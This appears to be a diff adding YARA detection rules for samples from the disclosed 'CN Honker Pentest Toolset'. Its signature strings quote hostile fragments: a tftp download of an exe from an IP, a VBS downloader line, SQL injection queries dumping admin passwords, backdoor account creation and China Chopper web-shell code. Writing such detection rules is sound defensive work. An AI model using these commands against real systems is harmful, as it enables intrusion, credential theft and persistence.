+		hash = "5d157a1b9644adbe0b28c37d4022d88a9f58cedb"
+	strings:
+		$s0 = "set IIs=objservice.GetObject(\"IIsWebServer\",childObjectName)" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "wscript.echo \"from : http://www.xxx.com/\" &vbTab&vbCrLf" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Md5CrackTools {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Md5CrackTools.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "9dfd9c9923ae6f6fe4cbfa9eb69688269285939c"
+	strings:
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s2 = ",<a href='index.php?c=1&type=md5&hash=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4580KB and all of them
+}
+
+rule CN_Honker_CoolScan_scan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file scan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e1c5fb6b9f4e92c4264c7bea7f5fba9a5335c328"
+	strings:
+		$s0 = "User-agent:\\s{0,32}(huasai|huasai/1.0|\\*)" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "scan web.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3680KB and all of them
+}
+
+rule CN_Honker_mempodipper2_6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file mempodipper2.6.39"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ba2c79911fe48660898039591e1742b3f1a9e923"
+	strings:
+		$s0 = "objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and all of them
+}
+
+rule CN_Honker_COOKIE_CooKie {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CooKie.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f7727160257e0e716e9f0cf9cdf9a87caa986cde"
+	strings:
+		$s4 = "-1 union select 1,username,password,4,5,6,7,8,9,10 from admin" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "CooKie.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 360KB and all of them
+}
+
+rule CN_Honker_wwwscan_1_wwwscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6bed45629c5e54986f2d27cbfc53464108911026"
+	strings:
+		$s0 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule CN_Honker_D_injection_V2_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file D_injection_V2.32.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+	strings:
+		$s0 = "Missing %s property(CommandText does not return a result set{Error creating obje" wide /* PEStudio Blacklist: strings */
+		$s1 = "/tftp -i 219.134.46.245 get 9493.exe c:\\9394.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule CN_Honker_net_priv_esc2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file net-priv-esc2.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4851e0088ad38ac5b3b1c75302a73698437f7f17"
+	strings:
+		$s1 = "Usage:%s username password" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<www.darkst.com>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 17KB and all of them
+}
+
+rule CN_Honker_Oracle_v1_0_Oracle {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Oracle.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0264f4efdba09eaf1e681220ba96de8498ab3580"
+	strings:
+		$s1 = "!http://localhost/index.asp?id=zhr" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "OnGetPassword" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3455KB and all of them
+}
+
+rule CN_Honker_Interception {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Interception.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ea813aed322e210ea6ae42b73b1250408bf40e7a"
+	strings:
+		$s2 = ".\\dat\\Hookmsgina.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "WinlogonHackEx " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and all of them
+}
+
+rule CN_Honker_sig_3389_DUBrute_v3_0_RC3_3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 3.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "49b311add0940cf183e3c7f3a41ea6e516bf8992"
+	strings:
+		$s0 = "explorer.exe http://bbs.yesmybi.net" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "CryptGenRandom" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 581 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 395KB and all of them
+}
+
+rule CN_Honker_windows_exp {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file exp.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "04334c396b165db6e18e9b76094991d681e6c993"
+	strings:
+		$s0 = "c:\\windows\\system32\\command.com /c " fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "OH,Sry.Too long command." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule CN_Honker_safe3wvs_cgiscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cgiscan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f94bbf2034ad9afa43cca3e3a20f142e0bb54d75"
+	strings:
+		$s2 = "httpclient.exe" fullword wide
+		$s3 = "www.safe3.com.cn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 357KB and all of them
+}
+
+rule CN_Honker_pr_debug {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file debug.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii /* PEStudio Blacklist: strings */
+		$s2 = "This exploit will execute \"net user temp 123456 /add & net localg" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 820KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v4_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v4.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "98f21f72c761e504814f0a7db835a24a2413a6c2"
+	strings:
+		$s0 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "2011-2012 T00LS&RICES" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2077KB and all of them
+}
+
+rule CN_Honker_MatriXay1073 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MatriXay1073.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fef951e47524f827c7698f4508ba9551359578a5"
+	strings:
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1" ascii /* PEStudio Blacklist: strings */
+		$s1 = "Policy\\Scan\\GetUserLen.ini" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "!YEL!Using http://127.0.0.1:%d/ to visiter https://%s:%d/" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "getalluserpasswordhash" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9100KB and all of them
+}
+
+rule CN_Honker_Sword1_5 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Sword1.5.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
+	strings:
+		$s1 = "http://www.md5.com.cn" fullword wide
+		$s2 = "ListBox_Command" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "\\Set.ini" fullword wide
+		$s4 = "OpenFileDialog1" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 740KB and all of them
+}
+
+rule CN_Honker_Havij_Havij {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Havij.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0d8b275bd1856bc6563dd731956f3b312e1533cd"
+	strings:
+		$s1 = "User-Agent: %Inject_Here%" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "BACKUP database master to disk='d:\\Inetpub\\wwwroot\\1.zip'" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_exp_ms11011 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11011.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
+	strings:
+		$s0 = "\\i386\\Hello.pdb" ascii /* PEStudio Blacklist: strings */
+		$s1 = "OS not supported." fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = ".Rich5" fullword ascii
+		$s3 = "Not supported." fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 3 times */
+		$s5 = "cmd.exe" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 120 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_DLL_passive_privilege_escalation_ws2help {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ws2help.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e539b799c18d519efae6343cff362dcfd8f57f69"
+	strings:
+		$s0 = "PassMinDll.dll" fullword ascii
+		$s1 = "\\ws2help.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_Webshell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Webshell.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c85bd09d241c2a75b4e4301091aa11ddd5ad6d59"
+	strings:
+		$s1 = "Windows NT users: Please note that having the WinIce/SoftIce" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Do you want to cancel the file download?" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Downloading: %s" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 381KB and all of them
+}
+
+rule CN_Honker_AspxClient {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AspxClient.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "67569a89128f503a459eab3daa2032261507f2d2"
+	strings:
+		$s1 = "\\tools\\hashq\\hashq.exe" fullword wide
+		$s2 = "\\Release\\CnCerT.CCdoor.Client.pdb" fullword ascii
+		$s3 = "\\myshell.mdb" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = "injectfile" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 3 of them
+}
+
+rule CN_Honker_Fckeditor {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Fckeditor.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4b16ae12c204f64265acef872526b27111b68820"
+	strings:
+		$s0 = "explorer.exe http://user.qzone.qq.com/568148075" fullword wide /* PEStudio Blacklist: strings */
+		$s7 = "Fckeditor.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1340KB and all of them
+}
+
+rule CN_Honker_Codeeer_Explorer {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Codeeer Explorer.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f32e05f3fefbaa2791dd750e4a3812581ce0f205"
+	strings:
+		$s2 = "Codeeer Explorer.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s12 = "webBrowser1_ProgressChanged" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 470KB and all of them
+}
+
+rule CN_Honker_SwordHonkerEdition {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SwordHonkerEdition.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3f9479151c2cada04febea45c2edcf5cece1df6c"
+	strings:
+		$s0 = "\\bin\\systemini\\MyPort.ini" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "PortThread=200 //" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = " Port Open -> " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 375KB and all of them
+}
+
+rule CN_Honker_HASH_PwDump7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file PwDump7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "93a2d7c3a9b83371d96a575c15fe6fce6f9d50d3"
+	strings:
+		$s1 = "%s\\SYSTEM32\\CONFIG\\SAM" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "No Users key!" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "NO PASSWORD*********************:" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Unable to dump file %S" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and all of them
+}
+
+rule CN_Honker_ChinaChopper {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ChinaChopper.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fa347fdb23ab0b8d0560a0d20c434549d78e99b5"
+	strings:
+		$s1 = "$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"z1\"]):$_POST[\"z1\"];$u" wide /* PEStudio Blacklist: strings */
+		$s3 = "SETP c:\\windows\\system32\\cmd.exe " fullword wide /* PEStudio Blacklist: strings */
+		$s4 = "Ev al (\"Exe cute(\"\"On+Error+Resume+Next:%s:Response.Write(\"\"\"\"->|\"\"\"\"" wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
+
+rule CN_Honker_dedecms5_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file dedecms5.7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f9cbb25883828ca266e32ff4faf62f5a9f92c5fb"
+	strings:
+		$s1 = "/data/admin/ver.txt" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "SkinH_EL.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 830KB and all of them
+}
+
+rule CN_Honker_Alien_ee {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ee.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "15a7211154ee7aca29529bd5c2500e0d33d7f0b3"
+	strings:
+		$s1 = "GetIIS UserName and PassWord." fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "Read IIS ID For FreeHost." fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_smsniff_smsniff {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file smsniff.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8667a785a8ced76d0284d225be230b5f1546f140"
+	strings:
+		$s1 = "smsniff.exe" fullword wide
+		$s5 = "SmartSniff" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 267KB and all of them
+}
+
+rule CN_Honker_Happy_Happy {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Happy.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "92067d8dad33177b5d6c853d4d0e897f2ee846b0"
+	strings:
+		$s1 = "<form.*?method=\"post\"[\\s\\S]*?</form>" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "domainscan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "http://www.happysec.com/" fullword wide
+		$s4 = "cmdshell" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 655KB and 2 of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v3.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fa47c4affbac01ba5606c4862fdb77233c1ef656"
+	strings:
+		$s1 = "http://127.0.0.1/1.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = ":Rices  Forum:T00Ls.Net  [4 Fucker Te@m]" fullword wide
+		$s3 = "SkinH_EL.dll" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule CN_Honker_NetFuke_NetFuke {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file NetFuke.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f89e223fd4f6f5a3c2a2ea225660ef0957fc07ba"
+	strings:
+		$s1 = "Mac Flood: Flooding %dT %d p/s " fullword ascii
+		$s2 = "netfuke_%s.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1840KB and all of them
+}
+
+rule CN_Honker_ManualInjection {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ManualInjection.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e83d427f44783088a84e9c231c6816c214434526"
+	strings:
+		$s0 = "http://127.0.0.1/cookie.asp?fuck=" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = "http://Www.cnhuker.com | http://www.0855.tv" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_CnCerT_CCdoor_CMD {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1c6ed7d817fa8e6534a5fd36a94f4fc2f066c9cd"
+	strings:
+		$s2 = "CnCerT.CCdoor.CMD.dll" fullword wide
+		$s3 = "cmdpath" fullword ascii
+		$s4 = "Get4Bytes" fullword ascii
+		$s5 = "ExcuteCmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 22KB and all of them
+}
+
+rule CN_Honker_termsrvhack {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file termsrvhack.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1c456520a7b7faf71900c71167038185f5a7d312"
+	strings:
+		$s1 = "The terminal server cannot issue a client license.  It was unable to issue the" wide /* PEStudio Blacklist: strings */
+		$s6 = "%s\\%s\\%d\\%d" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1052KB and all of them
+}
+
+rule CN_Honker_IIS6_iis6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iis6.com"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f0c9106d6d2eea686fd96622986b641968d0b864"
+	strings:
+		$s0 = "GetMod;ul" fullword ascii
+		$s1 = "excjpb" fullword ascii
+		$s2 = "LEAUT1" fullword ascii
+		$s3 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 410 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_struts2_catbox {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file catbox.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ee8fbd91477e056aef34fce3ade474cafa1a4304"
+	strings:
+		$s6 = "'Toolmao box by gainover www.toolmao.com" fullword ascii
+		$s20 = "{external.exeScript(_toolmao_bgscript[i],'javascript',false);}}" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8160KB and all of them
+}
+
+rule CN_Honker_getlsasrvaddr {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file getlsasrvaddr.exe - WCE Amplia Security"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a897d5da98dae8d80f3c0a0ef6a07c4b42fb89ce"
+	strings:
+		$s8 = "pingme.txt" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = ".\\lsasrv.pdb" fullword ascii
+		$s20 = "Addresses Found: " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_ms10048_x64 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms10048-x64.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
+	strings:
+		$s1 = "[ ] Creating evil window" fullword ascii
+		$s2 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 125KB and all of them
+}
+
+rule CN_Honker_LogCleaner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LogCleaner.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ab77ed5804b0394d58717c5f844d9c0da5a9f03e"
+	strings:
+		$s3 = ".exe <ip> [(path]" fullword ascii
+		$s4 = "LogCleaner v" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule CN_Honker_shell_brute_tool {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file shell_brute_tool.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f6903a15453698c35dce841e4d09c542f9480f01"
+	strings:
+		$s0 = "http://24hack.com/xyadmin.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_hxdef100 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file hxdef100.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf30ccc565ac40073b867d4c7f5c33c6bc1920d6"
+	strings:
+		$s6 = "BACKDOORSHELL" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "%tmpdir%" fullword ascii
+		$s16 = "%cmddir%" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_Arp_EMP_v1_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Arp EMP v1.0.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
+	strings:
+		$s0 = "Arp EMP v1.0.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_GetWebShell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetWebShell.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b63b53259260a7a316932c0a4b643862f65ee9f8"
+	strings:
+		$s0 = "echo P.Open \"GET\",\"http://www.baidu.com/ma.exe\",0 >>run.vbs" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "http://127.0.0.1/sql.asp?id=1" fullword wide /* PEStudio Blacklist: strings */
+		$s14 = "net user admin$ hack /add" fullword wide /* PEStudio Blacklist: strings */
+		$s15 = ";Drop table [hack];create table [dbo].[hack] ([cmd] [image])--" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and 1 of them
+}
+
+rule CN_Honker_Cracker_SHELL {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SHELL.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c1dc349ff44a45712937a8a9518170da8d4ee656"
+	strings:
+		$s1 = "http://127.0.0.1/error1.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "password,PASSWORD,pass,PASS,Lpass,lpass,Password" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "\\SHELL" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = "WebBrowser1" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_MSTSC_can_direct_copy {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MSTSC_can_direct_copy.EXE"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2f3cbfd9f82f8abafdb1d33235fa6bfa1e1f71ae"
+	strings:
+		$s1 = "srv\\newclient\\lib\\win32\\obj\\i386\\mstsc.pdb" fullword ascii
+		$s2 = "Clear Password" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "/migrate -- migrates legacy connection files that were created with " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule CN_Honker_lcx_lcx {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - HTRAN - file lcx.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
+	strings:
+		$s1 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "=========== Code by lion & bkbll" ascii
+		$s3 = "Welcome to [url]http://www.cnhonker.com[/url] " ascii
+		$s4 = "-tran   <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 1 of them
+}
+
